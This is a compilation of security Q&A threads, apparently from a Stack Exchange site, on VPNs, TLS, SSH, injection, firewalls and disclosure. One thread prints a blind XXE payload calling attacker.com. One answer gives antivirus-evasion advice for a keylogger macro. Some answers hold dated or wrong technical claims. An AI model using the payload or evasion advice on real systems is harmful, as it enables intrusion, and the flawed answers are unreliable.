2) When a device (PC, Mac, Mobile phone etc.) sends a request to the Internet through a VPN Server we all know what happens - on both ways - from our device to the destination we asked and back to us. BUT, what happens when you send something that is an account based app or service? Example: You send a WhatsApp message via VPN installed on your phone. Your message will be encrypted by the VPN (upon WhatsApp built-in encryption) and sent through a secured tunnel to the VPN server(s). The data is then decrypted and sent to the actual WhatsApp servers. So far so good. But what happens on the way back? According to my knowledge as an App Developer, WhatsApp servers will send the response through GCM/Push message or even their own Push-Messaging service but they will send it to my actual mobile device IP. Both Android & iPhone keep an open channel with Google/Apple and tell them the location and your IP for fast & power efficient push messaging. Also, when no internet connection available, Google/Apple will store all your messages/data and send it to you when possible, not caring, using and even knowing about your VPN. So all these messages and data from service providers like Google, WhatsApp and Facebook will actually send the data to my fake IP (VPN) and the VPN server will deliver it back to me?

3) I addition to question #2 - Is that possible for the OS itself (Windows, iOS or Android) to get my real IP even if I use a VPN? Cause if it so then a VPN will be useless for services like I mentioned in question #2.

Thank you,

what I can't seem to understand is if a VPN Router will add more encryption on the wifi via a secured & encrypted private tunnel etc. If indeed that's the case so how does the mobile device "knows" to "talk VPN and AES-256 encryption"? It would have to have a VPN also installed on itself, right? From the router to the outside world it's obvious - it gets encrypted and sent through a secured tunnel to the VPN server(s).

In order to use an end-to-end VPN (TLS VPN) you need a VPN client on your device and the encrypted tunnel goes from your device to the VPN provider. IPSec VPNs are different, because they are gateway-to-gateway, so it's actually the router which does the encryption, but IPSec VPNs are used for different applications than yours. In SSL/TLS VPNs the router doesn't do any encryption.

So yes, the mobile device must know to "talk VPN and AES-256 encryption". It does so by using some kind of client, which can be built-in in your OS or not.

  what happens on the way back? According to my knowledge as an App Developer, WhatsApp servers will send the response through GCM/Push message or even their own Push-Messaging service but they will send it to my actual mobile device IP. Both Android & iPhone keep an open channel with Google/Apple and tell them the location and your IP for fast & power efficient push messaging

To be honest, I've never tried using Whatsapp over VPN. However, any message arriving to a server through a VPN provider contains as source address that of the VPN provider server (this is why when you go on any "what is my ip" website while on a VPN, you get the IP address of the VPN provider). The server (in this case, WhatsApp server) reads that address and replies back to that. VPN tunnels are not negotiated by anybody except by VPN endpoints.

Yes, some applications may not accept VPNs for whatever reason - they can do so because they recognize that an incoming packet has a source address belonging to a known VPN provider - but  no application that I know of uses another IP address than the one contained in the "source address" field of the received packet.

While theoretically possible, it would break several fundamental principles of the Internet, besides being nasty by itself. Google can be nasty in some ways, but doing the equivalent of

  You're telling me to send you stuff at this address.... but I know where you really are, so I'm going to send everything there! You can't hide from me MUAHAHA

is probably way beyond Google/Apple/... levels.


Is it safe to store uploaded images as blob data in database? I am writing a Java web application and I am trying to prevent file upload vulnerabilities by storing uploaded profile pictures as blob in the database.
Is it safe to store uploaded images a blob in a database in order to prevent:

Executing the files with possible LFI vulnerabilities?
Accessing other users files with path traversal?

Can a file be executed when trying to serve the image when retrieving the file from the database? Can I introduce new vulnerabilities by blobbing?

I am planning to represent the image on the following way:

<img src="/path/to/servlet?userID=1"/>

I use MySQL as a database management system, and Glassfish as a webserver on a Windows Server 2012 R2.

I can envisage a couple of possible vulnerabilities that you should keep in mind:

Uploaded Data overrun - if there is not a way to limit the size of uploads your server could be damaged by sending it a very large file.
Out of bounds access, since you are allowing the image to be served from the database you are allowing read access to the database, if an index is used to access the image it may be possible to access other locations in the DB, likewise if the read allows incremental reading you could receive read requests that take data from outside of the blob.

You should check the server & BD have tests in place to prevent such attacks/misbehaviour.


Topology Configuration on CheckPoint On CheckPoint firewall (R77), in the Topology config. section that is used for anti-spoofing, is it possible to configure 2 different External interfaces?

I have already an interface configured as External for an internet access via a remote datacenter.

But now I have a new local internet access on another interface for a part of my local users, and I wonder if I can configure another External interface.

I don't really understand the differences between an Internal and an External interface in term of anti-spoofing process.

On Check Point firewall (R77), in the Topology config. section that is
  used for anti-spoofing, is it possible to configure 2 different
  External interfaces ?

It is possible - for example, this document on ISP Redundancy in R77 clearly describes that case:

  If the Security Gateway has two external interfaces in the Topology
  page of the gateway object, you can configure the links automatically.

And this snippet of a CCSA Exam Cram states:

  You can have multiple interfaces defined as external.

  ...In [this] case, the same behavior of calculating external topology
  applies to all externally defined interfaces—that is, any network not
  included on any of the internal interfaces is valid on all external
  interfaces.

However, there may be complications.  For example, there's a specific setting to make it break less stuff: "Support connectivity enhancement for gateways with multiple external addresses".  To quote a portion of it:

  The problem is that the VPN-1 Gateway needs a routing mechanism that
  can route packets, returned to the Office Mode IP addresses, to the
  appropriate external router when the VPN-1 Gateway has two external
  interfaces, based on from which VPN-1 Gateway external IP address the
  SecureClient Office Mode connections came.

  The option "Support connectivity enhancement for gateways with
  multiple external interfaces" addresses this specific need.

There also used to be an issue where an Unlimited license was required for traffic to route across the two external interfaces.  That thread's 10 years old now, though, so take that with a grain of salt.

I haven't had significant CheckPoint console time for 10 years myself, but my recollection is that when I was working with it, I worked a few implementations that had multiple external interfaces, without any particular problems*.

*...due to the multiple interfaces.


What are the common features to identify Brute-Force attack from Apache log file? There are various methods to find attack patterns for different types of attacks. Apache-scalp is one such tool, but the rule set is not available to find the brute-force attack pattern via regular expression. I would love to know the different regular expressions available for detecting brute-force attacks from Apache log file.

You can just run grep command against Apache access log searching for your login page , use awk to carve out the source ip address then use wc to count how many times a source ip hit your login page. That would be a simple way to check for brute force login attacks from a single source.


How is AMP-Same-Origin: true even remotely secure? in the AMP Docs, the following snippet is given:

If the Origin header is set:

If the origin does not match one of the following values, stop and return an error response:

<publisher's domain>.cdn.ampproject.org

the publisher's origin (aka
yours)
where * represents a wildcard match, and not an actual asterisk ( * ).

Otherwise, process the request.

If the Origin header is NOT set:

Verify that the request contains the AMP-Same-Origin: true header. If the request does not contain this header, stop and return an error response.
Otherwise, process the request.

What I don't understand is how the AMP-Same-Origin header provides a form of security.
TLDR:
Couldn't anyone provide an AMP-Same-Origin: true header in a browser missing the Origin header and skip CSRF protection even if it's not on a trusted AMP CDN?

It adds security for "simple" CORS requests that would otherwise not require an OPTIONS intermediate request. By requiring the AMP-Same-Origin when the Origin header is not set, you can fail all requests that would otherwise cause side effects, even if they weren't viewable at the endpoint, because they would not fail until they came back to the browser

It is not possible to add the AMP-Same-Origin header on a cross origin request if CORS isn't explicitly allowed. Thus, you do not need to add a random string like you usually would with a csrf token. Check this related question about it

Simply checking the value is sufficient at the moment, but future
technologies and attacks may be leveraged to break your protection.

Simply checking for a custom header is sufficient for now. However, this is not the best practice and for additional defense in depth it is normally recommanded to have additional security in depth as per MDN

To prevent cross-origin writes, check an unguessable token in the
request — known as a Cross-Site Request Forgery (CSRF) token. You must
prevent cross-origin reads of pages that require this token.

You could also ask yourself (or not if you're already aware of it), why don't they just set the Origin header instead of setting an additional header ? Well, the Origin header is a forbidden header and cannot be set programmatically (MDN).


How does "validator" javascript trojan effect my PC? My Kaspersky Internet Security said it just blocked a HEUR:Trojan.Script.Generic from this web page (Do not go to the web page below, it may damage your PC):

https://trafficvalidator.com/launch/validatorsrc.min.js

First thing first, can I ask what's the trojan above? how can I tell if it has effected my PC? Also I think that's weird because the trojan actually comes from a https web page, normally, I think https webpage is safe.

Secondly, How does "validator" javascript trojan effect my PC (what can it do)? So if I install an exe to my PC, that contains trojan, then it makes sense cause it has administrator's right and it can change my PC. but I don't understand what a Javascript trojan can do, but if it can really do something bad to my PC, is it a bad idea to enable Javascript for my browser?

Note: I call it "validator" javascript trojan because it comes from the script validatorsrc.min.js

HEUR indicates that Kaspersky uses heuristics to determine that this script might have "unusual" or "malicious" behavior.  At a quick glance, the script doesn't actually appear to be malicious per se, but does seem to be an in-browser cryptocoin miner.  This is a widely reported phenomenon and "only" uses your browser to mine coins while you are on the site.  It does not appear to steal any data, persist itself, or damage your computer in any way.  (Again, this is just from a quick glance and I haven't done a full reverse engineering of the payload.)

As to the https protocol in use: anyone can obtain a certificate for a domain they control.  https protects your connection to that server, but says nothing about the trustworthiness or security of the server itself.


Bypassing Windows Defender VBA custom code I've recently written a simple keylogger using classic DLL-injection technique. I wanted to simulate a real phishing attack where the user opens an Office document with macros and by enabling them he downloads and runs my keylogger. While the keylogger itself is not being recognized as a thread, the VBA script is.

I've searched for a similar question and I've only found questions about how to obfuscate metasploit/empire payloads. I've even tried some of them, but they all got recognized as a threat (I've used msfvenom shinkata as encoder).

I don't want to use any existing tools. I'd like to learn how Windows Defender recognizes that piece of VBA script as malicious. I've read that it uses both signature-based scanning along with runtime execution analysis. All bypassing techniques which I've found on internet tried to obfuscate code which in my understanding can only try to bypass the signature scanning part.

Environment: default Windows 10 configuration

Also if any of you know a way to force Windows Defender to tell me why it recognized my code as a threat (for example "use of unsafe function", etc) it would be super helpful!

You need to Obfuscate the VBA Script in order to make it FUD (Fully UnDetectable)

You can use the ChrW() function, which allows you to type ASCII characters instead of the actual characters themselves.

If you could share your code maybe we could try to assist you with this ("use of unsafe function"). I advise you to dive into someone else's code in github and try to check out their steps in order to verify your code, you'll be able to notice a difference.


Is it possible to use AH in transport mode on an IPSec channel with mediation? I understand that it's not possible to have Authentication Header with a regular NAT, because it messes with the IP header protected by AH. How about proxies? Do they change anything in the packet?

Would it be possible to use AH in transport mode on an IPSec channel between proxies?

"Proxy" is a generic term. If you mean a Web proxy, then that kind normally operates at the "application data" level: the client system opens a TCP connection to the proxy, and the proxy opens another connection to the target server (or next proxy in case of chaining). The proxy relays data back and forth, but no IP header. By definition, IPSec stops at the proxy. A Web proxy does not "modify" packets, it eats them whole; and then it may resend the packet contents, reassembled and split again, as brand new IP packets unrelated to the previous ones.

You can use IPSec to protect communications between the client system and the proxy. You can use IPSec to protect communications between two proxies. But IPSec will never give you any guarantee that the data was unmodified by the proxy; only that it was not altered in transit between the client and the proxy and/or between the two proxies.

In fact, proxies are, by definition, meant to alter the data, e.g. by answering the request themselves with a copy of an older response, without talking to the actual server. This is by design.


Can Malware/Hacker Connect a Device to Internet that's NOT Already Connected? Suppose you have a phone and/or computer that has WiFi capabilities and can connect to the internet through it.  If that device(s) is not currently connected to an available network, can malware connect it and to the internet on its own?

In general, yes. Once a malware is properly inside a system, it has an access to that system higher or equal than yours. So it can do whatever you can, and possibly even more.

  What if I JUST bought a new laptop and never connected to a router.
  BUT, my router has malware or a computer connected to my router in the
  same household has malware. Could the malware in my router or
  household computer somehow "turn" on my computer to the internet

This is a completely different problem. It too is possible, but requires hypotheses that are quite unlikely.

To start with, the infected computer must know about the newcomer. How can it?

You turn on the new laptop and navigate. The infected computer has what's called promiscuous access to the network and "sees" packets from a physical address (MAC) that it did not know about.
You do not navigate, but the malware performs routine scans of its network to find possible targets of opportunity.

Now it needs to turn it on. There's a facility to do that, Wake-on-LAN, but is it running on the newcomer? What if the laptop is WiFi and doesn't support the much more complicated and expensive Wake-on-WiFi?

But it could simply wait for someone else to turn the laptop on.

Finally it needs to seize control of the laptop. This is actually the easy part. A sophisticated enough malware would not act alone, but rather connect back to a command-and-control network, and the conversation could go like this...

malware: NEW POSSIBLE TARGET, MAC 00:11:22:33:44:55
control: MANUFACTURER IS KNOWN, EXPLOITS MIGHT EXIST. PERFORM PORTSCAN.
malware: PORTSCAN COMPLETED, RESULTS ATTACHED.
control: TARGET IS NIFTYWARE LAPTOP MODEL THX1138 RUNNING BUNNYOS 3.11. EXPLOIT ATTACHED.
malware: EXPLOIT UNZIPPED AND RUNNING.
(and some seconds later...)
laptop : CONTROL, THIS IS NEW INSTANCE 019298 REPORTING FOR DUTY.

...and from that moment on, your laptop isn't really "your" laptop anymore.

And that's why you don't want an obsolete or vulnerable machine in your network, ever.

Update

  But then I thought, maybe the WiFi is on, but if I never connected
  SPECIFICALLY to a network, then I couldn't pick up anything, right?
  Out of curiosity, shouldn't the WiFI be off?

Yes, and not necessarily. Yes, if you never connected to a network, the new laptop was never online and nobody could have reached it. (There have been reports of airgap bypassing but, to my knowledge, they either have never been substantiated, or refer to a different scenario - two already infected computers bypassing an airgap).

And no, on most new computers WiFi is actually on, but the "light" only refers to the capability, not to the actual connection or even presence of an access point. It just means that the laptop might connect if there is an active access point and you supplied the password.

On some high end laptops the light is blue when WiFi is on and e.g. green if there's a connection, and it maybe even blinks when data is exchanged. But it still means that the "default" blue light signifies nothing.

In your specific case a router "malware" almost invariably entails modifying the DNS mapping so that e.g. www.google.com is actually a site faking Google that prompts you to download malware. And a Mac malware is not at all likely to propagate on non-OSX computers. So you should be doubly protected (you were not connected to a network where nothing was likely to infect you actively).

There is one case in which this is not completely true: a malware's code cannot spread across OS boundaries, but its damage can. Case in point: a CryptoLocker/TeslaCrypt ransomware running on Windows will find your open shares on a Mac OSX, if they are open and writeable, and will encrypt the documents they contain. The Mac OSX will not be infected, but its documents will nevertheless be lost.

And that (that, and user errors, and hardware failures) is why you also want to have full and adequate backups.


Connect to a SFTP server using just the public key? Client wants to send them files using SFTP and they just shared the username and their public key.

My understanding is that they will either need to share the username and password OR a username and a private key - is that right?

They wouldn't (and shouldn't) share their private key.  But, you can send them your public key, and they can add your public key to their authorized_keys file.  This will allow you to authenticate (provided that you have the private key that corresponds to the public key that you gave them).


Why is using the chip in chip-cards required at manned points of sale? Chip cards are more secure because they prevent cloning. Chip cards also have the magstripe for backward compatibility. In my recent experience at supermarkets in California, using the chip takes a lot longer (15+ seconds) than swiping, and can't be done in advance, while the cashier is scanning the items.

Given this inconvenience, I'd prefer to swipe my card at a POS inside a supermarket, which is monitored and under human supervision. I'd use the chip at an ATM or gas station.

Yet, some POS units (e.g. those at Trader Joe's in California) require using the chip if one is present, despite the inconvenience to the customer. Why is this?

Swipe cards aren't secure, even under human supervision.

It takes only seconds to swipe a card and read all the data off the magnetic strip.  Once you have that data, it's possible to write it to a new blank card.  The card can be printed up to match a real bank's credit cards.  The fraudster can now sign the back of the new card.

To the cashier, it will look just like a genuine card.  It will swipe correctly, and the signature on the back will match the one given by the person using it.


Does a RAM Disk Actually Help When Password Cracking a Small Hash I've been reading up on RAM Disks and their roles in various uses. The role one no one talks much about is password cracking.
I pulled the below quote from here

"It's also important to know that hard drives (the magnetic, rotating disk variant, anyway) have access times in the millisecond range. RAM is orders of magnitude faster, but still slow compared to L1 cache, which again is much slower than direct register access in a CPU. Unfortunately, general purpose CPU registers can only store maybe 128 bytes in total, and L1 cache only stores a few kb in total. "

Let's assume the password file is 3.9 GB and we have a 4 GB RAM\tmpfs Disk\volume. So my question is, would creating a RAM Disk OR a tmpfs volume (linux) and then putting said password file on that virtual disk offer any tangible increase in speed. So my question is, would creating a RAM Disk\tmpfs volume and then putting said password file on that virtual disk offer any tangible increase in speed? Does the cache play any role in this besides storing the hash file and would it help to store the hash on the RAM/tmpfs disk too? Also would the difference be lessened is the user were reading the password file of a SSD instead of a hard drive?

Most likely not.

Password cracking is a computationally-bounded operation. Modern SSD and hard disks can read way beyond the number of hashes you can do with current CPU/GPU.

Additionally, all modern operating systems will do read ahead buffer and file caches automatically, so most of the time you'd be reading from RAM already.

I once ran john-the-ripper with a large piped word list like so with apr1 hashes:

pv wordlist.txt | john-the-ripper --pipes --rules hashes.txt

pv is a tool similar to cat, but it can calculate and show you the speed of data going through your pipe. Most of the time, you'll notice that the pipe is stalled.

If you used a fast hash and you have a cracking cluster with very large computational power, then the speed of reading the file could possibly affect the cracking speed more, but it's quite unlikely that the speed of the disk would be your first bottleneck.


How do I scan a WordPress website which blocks WPSCAN from scanning the website? I am trying to scan a WordPress website with WPSCAN in Kali Linux but an error is happening. Whenever I start the scan WPSCAN runs for 2-3 min and gets paused and after some time and error comes "the host seems to be down" but the website is running completely fine!

I think there is a WAF that is blocking the scanner from scanning that website, but when I did a Port Scanning using NMAP for checking what services are running in that website I found that no WAF is installed on it. Also, I used WAFW00F to check which WAF is there but I found nothing!

So how do I search for that thing which is blocking me from scanning that website? Also please tell me what kind of mechanism is that website using?

the command I am using in wpscan is wpscan -u https://www.websitename.com

You can't detect a web application firewall (WAF) using port scanning as it sits in front of the web server rather than listening on a separate port. You might detect a WAF from the headers it modifies or the cookies it adds, but it doesn't need to manifest itself in any way. The wafw00f.py you already used utilizes these methods in an automated way, but if it doesn't find one it's not a proof there isn't any.

It's actually better to avoid giving hints on which WAF you use: it's usable information, as the WAF could be vulnerable too, just like any other program. If a vulnerable WAF is protecting a vulnerable application, there's a chance that there's a hole big enough for an attack.

If there's a WAF in front of the web server, you simply need to place your scanner behind it. If you can't, you are probably not allowed to do so, which would make this question off-topic. If you can, your idea of testing the site separately is good. Another option is to copy the site to a test environment and run the tests there, to avoid breaking anything.


Antivirus/DPI Solution with openvpn server I wish to set up a system that I log into with openVPN on my Raspberry Pi 4. I have already set up an openVPN server with a PKI infrastructure as well as other services that run on the Pi (like pi hole dns + dhcp). The packet forwarding is set up in the iptables like so:

iptables -t filter -A FORWARD -i tun0 -o eth0 -j ACCEPT
iptables -t filter -A FORWARD -i eth0 -o tun0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

I can use devices like my phone and laptop from remote to access my network remotely and use DNS etc. I now wish to add an antivirus or dpi firewall to the mix that filters packets between eth0 and tun0 as well as protect services like my mail and web server from accepting malicious files (as easily).

But I don't even know what to search for. I'd like for someone to point me in the right direction for an open source solution that runs on an ARM64 in an ubuntu system (without x-server)
I have come across nDPI which is an open source deep packet inspection tool, but I'm not entirely sure if that is what I need.

I ended up with snort2 in conjuction with pulled pork to automatically update the rules and a fork of BASE (for php7) as a web interface. Snort3 doesn't seem ready just yet.
To run snort inline I compiled with the NFQ daq and run it inline. It's all open source and seems to work well enough.


Is it possible to run commands that exist only on the host on a docker container? We would like to harden our Docker Image and remove redundant software from it. Our Devs and Ops asked to keep some Linux tools used for debugging on the containers running on our Kubernetes Prod environment.
I’ve read this post:
https://www.digitalocean.com/community/tutorials/how-to-inspect-kubernetes-networking
And it made me wonder, is it possible to run commands that exist only on the host, on a container (which those  commands have been removed from)?
If so is there a difference between commands that have been removed from the container than ones that the user don’t have permissions to run?
P.S.
How do the tools in the above mentioned post work?
Thanks for the help! :)

Yes this is possible using nsenter or similar tools, depending on what you want to do you can also use Docker tooling.
A Docker container is just a namespaced Linux process, so using namespace aware tools you can execute a command from the host inside a given namespace.
For example, say you want to use tcpdump to diagnose a problem with networked nginx web site.
you can run docker run -d --name nginxtest nginx, to start the container, then run ps -ef | grep -i nginx and get the PID of the nginx process.
Once you've got that you can use something like sudo nsenter --target [PID] --net /usr/sbin/tcpdump to run TCP Dump from the host inside the network namespace of the nginx container.
Another option is to use a sidecar container which shares namespaces with a main container.  So for example you can run docker run -it --net container:nginxtest raesene/alpine-containertools  /bin/ash to run a new container which shares the network namespaces of the nginxtest container.
For mount namespace, it's a little more complex but still possible. you can view/edit files via the proc filesystem. So for example vi /proc/[PID]/root/etc/passwd would allow you to view/edit the /etc/passwd file from the running container . With this you do need to be careful of file permissions


length of ciphers versus length of key ssh-keygen defaults to RSA (for SSH protocol 2) and a 2048 bit key.

At this description of ssh

         The supported ciphers
         are: 3des-cbc, aes128-cbc, aes192-cbc, aes256-cbc, aes128-ctr,
         aes192-ctr, aes256-ctr, arcfour128, arcfour256, arcfour, blow-
         fish-cbc, and cast128-cbc.  The default is:

           aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,
           arcfour256,arcfour,aes192-cbc,aes256-cbc,aes128-ctr,
           aes192-ctr,aes256-ctr

Thus it appears ciphers are either 128 or 256 bit, if I infer from unitless numbers.  What is the justification for the ciphers being shorter than the key?

That's the key length for RSA (asymetric encryption).  It is used to establish the identity of the server and perform authentication and symmetric key exchange. It does not perform encryption of the connection.

The ciphers you depicted above are all symmetric, these are used to encrypt the connection.  At least for AES I'm sure the maximum key length is 256 bits.

To give you a basic idea of how SSH works:

Generate a random session key
Encrypt this session key with the servers public and your private certificate
server decrypts the session key and a symmetric encryption is set up between the client and the server to send the data over.  Since it is encrypted with the server's public key, only the server can read it.  Since it is encrypted with your private certificate, the server knows it must have come from you (or more accurately the holder of the corresponding private key.)

If you want more information, there is a really nice explanation here.


Security analysis tools for iOS 6 Searched over web, however could not find much info on security analysis tools for iOS6.

Can somebody point me to the security analysis (Static Code Analysis & Pen Testing) tools for iOS6?

I know this tool, but I almost didn't use it, might worth a check:

https://appsec-labs.com/iNalyzer


What is certificate pinning? I'm superficially familiar with SSL and what certs do. Recently I saw some discussion on cert pinning but there wasn't a definition. A DDG search didn't turn up anything useful. What is certificate pinning?

Typically certificates are validated by checking the signature hierarchy; MyCert is signed by IntermediateCert which is signed by RootCert, and RootCert is listed in my computer's "certificates to trust" store.

Certificate Pinning was where you ignore that whole thing, and say trust this certificate only or perhaps trust only certificates signed by this certificate, ignoring all the other root CAs that could otherwise be trust anchors. It was frequently also known as Key Pinning, since it was actually the public key hash that got saved.

But in practice, Key Pinning turned out to cause more problems than it solved. It was frequently misconfigured by site owners, plus in the event of a site compromise, attackers could maliciously pin a cert that the site owner didn't control. Key Pinning was deprecated in 2017, and was removed entirely from Chrome and Firefox in Nov. 2019. It was never supported to begin with by IE and Safari.

The recommended replacement is to use the Expect-CT header to tell browsers to require that the cert show up in Certificate Transparency logs.


Best way to alert a website owner of a vulnerability? recently i was browsing a site, and i noticed that at the end of the URL it said id=168, which is a common indicator that the site is vulnerable to an SQL injection attack. i did some tests and found that i was right, that the site Was vulnerable and that any hacker that wanted to could do some serious damage. i sent them an email from their "contact us" link, informing them of the problem, and asking them to respond indicating that they received the message. it has been 3 weeks, and i have not received an answer. what is the best way to make sure that these people know about this hole in their site?

First, I'd do it semi-anonymously if possible.  Laws against hacking are often broad and your actions could be construed as 'hacking' by a paranoid legal team/business types that are more annoyed with having to spend more on website development than having something secure.

Second, I would not explore the extent of the vulnerability due to legal issues.  E.g., can I get password hashes?  Can I get user data, etc.?

Third, do not disclose the vulnerability or threaten to do so to anyone not at their company; it may take weeks/months for them to get a designer to sensibly fix their existing code.  (E.g., the lone developer is on vacation/incompetent/etc).

Fourth, I'd try and check to see if administrator/developer email addresses exist and contact them directly.  The contact-us page could be directed to a marketing department that does not understand what SQL injection means and ignored that email.  Do the html pages have any author/company listed in the source code with email contact?  Or can you run a whois on the domain and find a technical contact?

whois stackexchange.com
...
TECHNICAL CONTACT INFO
Stack Exchange, Inc.
Sysadmin Team
1 Exchange Plaza
Floor 26
New York
NY
10006
US
Phone:         +1.2122328280
Email Address: sysadmin-team@stackoverflow.com

You could also try some of the standard emails for a domain (e.g., webmaster@example.com)

Finally, if none of that works, send another message via 'contact us' that links to articles that introduce what SQL injection is, what dangers it likely presents to their organization, why you noticed that their site was likely vulnerable to it (the same reason nefarious types will notice), and what they have to do to make their site protected against this specific attack.


How can one detect and mainly bypass TLS inspection as a user with an enterprise managed device? Let's assume Alice is an employee of the Chuck company.

Alice likes to communicate with Bob, a server somewhere in the internet.
Chuck, being a security orientated company, inspects all TLS connections from its devices by decrypting the traffic.

Is there any way for Alice to establish a secure connection to Bob with a device managed by Chuck without the chance of Chuck decrypting it?

Is there even a way for Alice to notice the TLS inspection?

As the certificates are trusted, Chuck could theoretically even spoof a VeriSign certificate, correct?

Let's assume that Chuck doesn't provide its devices with any endpoint software, keyloggers or similar and that Alice can't remove the provided cert.
Let's also assume, that as in many companies ports except 443 and 80 are closed for communication.

Chuck Company could spoof trusted certificates if they provide their users with managed devices. But it cannot actually replicate Verisign certificates, they could just fake end-users with managed devices. Because end-users couldn't validate certificate from authorized CAs.
Chuck Company could hide their inspection to TLS connection from Alice
TLS will be always decrypted by Chuck Company.
I recommend to Bob and Alice should use encrypted-communication like PGP. Just they need to find a way to change their public keys securely. It might be a social media platform like Twitter. At least one person should know others public key is not spoofed, it's assumed that controlled by Alice or Bob.

  Pretty Good Privacy (PGP) is an encryption program that provides cryptographic privacy and authentication for data communication. PGP is used for signing, encrypting, and decrypting texts, e-mails, files, directories, and whole disk partitions and to increase the security of e-mail communications. Phil Zimmermann developed PGP in 1991.


Do PHP/SQLI Prepared Statements Need Special Character Escaping? I'm using php/mysqli queries such as this:

$stmt = $con -> prepare("INSERT INTO `comments` (`uid`, `article_id`, `status`, `comment`) VALUES (?, ?, ?, ?)");
$stmt -> bind_param('iiis', $uid, $articleId, $status, $comment);
$stmt -> execute();

Talking strictly SQL Injection (no buffer overflows from entering 20,000 characters) do I need to do extra checks to guard against special characters such as / -- or ' when running these prepared statements? - Does the prepared statement truly (99.9%) take care of this type of sql injection?

I've been reading some of the other posts on here about prepared statements and i'm not getting a definite answer, is it ok to just check the lengths of the inputs then throw them through statements such as this where I'm directly inserting user data into into a db? - Or does more need to be done?

There is no need to do extra checks if you are using a prepared statement with parameters.  This is the industry standard for preventing SQL Injection in PHP.

With the example you provided you would be 100% protected (not 99.9%) from SQL Injection (at least based on what we know today, who knows what the future holds).

That said, there are circumstances where a parameterized prepared statement can still be vulnerable to SQL Injection, but to my knowledge these all involve the use of dynamic SQL which you aren't using here.

You can see OWASP's page on query parameterization here.


Change from bcrypt hashes to sha1 or even plaintext, for performance I developed an application that is similar in concept to an FTP server. There are several hundred user accounts, and it uses bcrypt to store hashed passwords.

All user passwords are randomly-generated 128-bit v4 GUIDs.

One feature of my application causes many concurrent logins. When this happens, bcrypt dominates performance profiles and degrades the user experience. I want to reduce CPU load by replacing bcrypt with a less CPU-intensive hash function.

Web applications use bcrypt for passwords instead of much weaker hashes (e.g. single-round SHA-1, or even ROT13) so that offline cracking is suddenly nontrivial.

But, since an FTP-server-alike application just reads/writes files on the local disk, any attacker with access to the login database will have this local disk access anyway. So I don't think offline hash-cracking is a credible threat.

That just leaves online bruteforce, but since I'm lucky to have a guarantee of strong passwords (128-bit v4 GUIDs), that's really infeasible too.

So I think in this situation it's safe for me to downgrade the hash security to something significantly weaker (e.g. single-round SHA-1, or even ROT13).

My question is:

Have i forgotten something? Is this analysis wrong?

A 128-bit GUID v4 has 122 random bits. According to RFC 4122 § 4.4, six of the bits are fixed, with 122 remaining bits being random. Assuming the random number generator source you use is cryptographically secure, a key generated in this way will have a keyspace of 2122, which is plenty. If it is used as a key to authenticate to your service, you do not need to bring it through a slow KDF. Slow KDFs are designed to make weak human-generated passwords slightly harder to break. If the key is already too large to break, the only thing required when deriving the hash is the use of a one-way function. You can safely pass the key through a single round of SHA-1 or even MD5 (these hashes are vulnerable to collisions, but not preimages which are what matter in the context of password hashing). You do not need to use a salt either, since each key will already be be distinct.


nf_conntrack: table full, dropping packet I see a lot of these messages in /var/log/messages of my Linux server

kernel: nf_conntrack: table full, dropping packet.
kernel: __ratelimit: 15812 callbacks suppresse

while my server is under DoS attack but the memory is not still saturated. I am wondering what is the significance of the message and how to counter possible security implications.

The message means your connection tracking table is full. There are no security implications other than DoS. You can partially mitigate this by increasing the maximum number of connections being tracked, reducing the tracking timeouts or by disabling connection tracking altogether, which is doable on server, but not on a NAT router, because the latter will cease to function.

sysctl -w net.ipv4.netfilter.ip_conntrack_tcp_timeout_established=54000
sysctl -w net.netfilter.nf_conntrack_generic_timeout=120
sysctl -w net.ipv4.netfilter.ip_conntrack_max=<more than currently set>


attack path alternatives for XXE So I've found a blind Xml External Entity (XXE) attack against a SAML infrastructure while on a client engagement but it has been giving me fits trying to exploit it earlier. I can construct a simple XXE:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://attacker.com/">%xxe;
]>
<xml></xml>

and I get the http connect from their server but anything more complicated like fetching a DTD from me and running it gets nothing. I can see the fetch of the DTD but then the DTD request ( a simple call back to my server) doesn't execute. So after banging my head against a wall for three days I thought I'd ask the community if they had any clever tricks with XXE or any attack paths when attacks are limited.

As with anything in this field more research never hurts!

I tried a payload found here https://gist.github.com/staaldraad/01415b990939494879b4 which didn't work originally but then I realized the implementation required actual valid xml tags at the end that the examples did not have!


What tool(s) can be used for MitM in a controlled environment to decrypt+relay HTTPS over MTLS traffic with SNI? I have a fully controlled environment (routing, DNS, CA, private keys, certificates) between two closed appliances that communicate over HTTPS.
The traffic is over a mutual TLS authenticated channel, using Server Name Indication, as well as elliptic curve keys.

I need a tool (or set of tools) which can use my existing client and server private keys and certificates, as well as capable of doing SNI, to "impersonate" the server towards the client, copy/dump decrypted traffic, then relay on the traffic as if coming from the client and vice-versa.

I can't do much against the appliances themselves (such as excluding EC/DH keys, to permit simple decrypting of traffic at a later stage) but I have all the certificates and private keys and I can manually send the traffic where I want, I do not need particular proxying tricks.

I had some moderate success with openssl s_client / s_server + tee into a pipe, but this seems to break after just one connection.

Other tools I have tried either can't handle SNI, or insist on "faking" certificates, which I really do not need or want (especially if the fake certificates do not meet my/app requirements) and are usually more general purpose than my needs.

I am not looking for a commercial grade appliance or software, and I do not need the possible solution to generate certificates. I have them, as well as the private keys.

I need something that can listen on tcp/443 with the provided PK/cert/chain and establish the TLS session, store/dump the unencrypted data, then replay the content received from the client towards the server, in another TLS session using SNI and the provided client PK/cert/chain as closely matching the original as possible.
It should be able to handle and relay response data as well on the same TLS session, as well as multiple (as in series, not parallel) connections.
I need to capture traffic strictly between the two well known boxes.

Oh, fine, since 1.7.8, Nginx supports the proxy_ssl_certificate[_key] directives which do exactly what you need. Set up a reverse proxy with server certificate and key paths put into ssl_certificate and ssl_certificate_key directives respectively, and add client certificate and key in a similar fashion via proxy_ssl_certificate and proxy_ssl_certificate_key.

Don't forget to enable client certificate auth via ssl_client_certificate directive. Your client CA certificate should be used for that. Here's one simple tutorial.

SNI is supported by specifying different server directives on the client side, and by adding corresponding proxy_ssl_server_name directives on the proxy side.

P.S. The difference between this question and the one I considered a duplicate of this one is that you don't want to generate client certificates on the fly (which Nginx can't do for you anyway).


Google Chrome stores recent items I've opened in my computer? Is it normal or legal for chrome to have a list of recent items I've opened in my computer?

